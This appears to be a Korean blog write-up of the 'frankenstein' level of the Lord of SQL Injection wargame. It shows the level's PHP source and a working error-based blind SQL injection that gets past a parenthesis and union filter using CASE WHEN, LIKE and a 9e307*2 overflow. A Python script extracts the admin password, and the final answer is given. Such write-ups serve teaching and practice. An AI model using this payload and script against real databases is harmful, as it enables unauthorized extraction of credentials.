728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>

괄호가 필터링된다. 게다가 union select도 할 수 없다. 그래서  이 문제는 답을 참고했다.

mysql에서는 9e307*N 으로 표현되는 값은 표현가능한 범위를 넘어서서 에러를 반환한다.

괄호를 사용할 수 없기에 if문 대신 case when then 구문을 이용한다. 조건식에 like 연산자를 사용한다. 

괄호를 사용할 수 없기에 비밀번호 길이를 따로 구할 수도 없다. 따라서 바로 pw를 구한다.

like 연산자에서 %는 문자(열)을 의미하고, _는 문자 한 개를 의미한다.

ex) 'abcde' like 'ab%' -> 1
ex) 'abcde' like 'ab_' -> 0
ex) 'abcde' like 'e%' -> 0

코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php'
cookie={'PHPSESSID':'자신의 세션id'}
ch='0123456789abcdefghijklmnopqrstuvwxyz_'

#0dc4efbb
def find_pw():
    pw=''
    while True:
        chk=False
        for i in ch:
            r=requests.get(url+"?pw=' or id='admin' and case when pw like '{}%25' then 9e307*2 else 0 end%23".format(pw+i),cookies=cookie)
            if '<br>error' in r.text:
                pw+=i
                chk=True
                break
        if chk==False:
            break
    print(pw)
    
find_pw()

 참고로 ch에 소문자 대신 대문자를 넣거나 대문자를 추가해도 의미는 없다. 왜냐하면 mysql에서 like 뒤에 대문자를 넣든 소문자를 넣든 똑같이 취급한다. 즉 구분이 안된다. 따라서 알파벳은 대문자인 경우도 고려해야 하지만 los의 모든 답은 소문자였기에 소문자를 대입하니 통과한다.

답: ?pw=0dc4efbb

728x90

'Lord of SQL Injection' 카테고리의 다른 글

ouroboros  (0) 2023.01.03
phantom  (0) 2023.01.03
blue_dragon  (0) 2023.01.02
red_dragon  (0) 2023.01.02
green_dragon  (2) 2023.01.02

+ Recent posts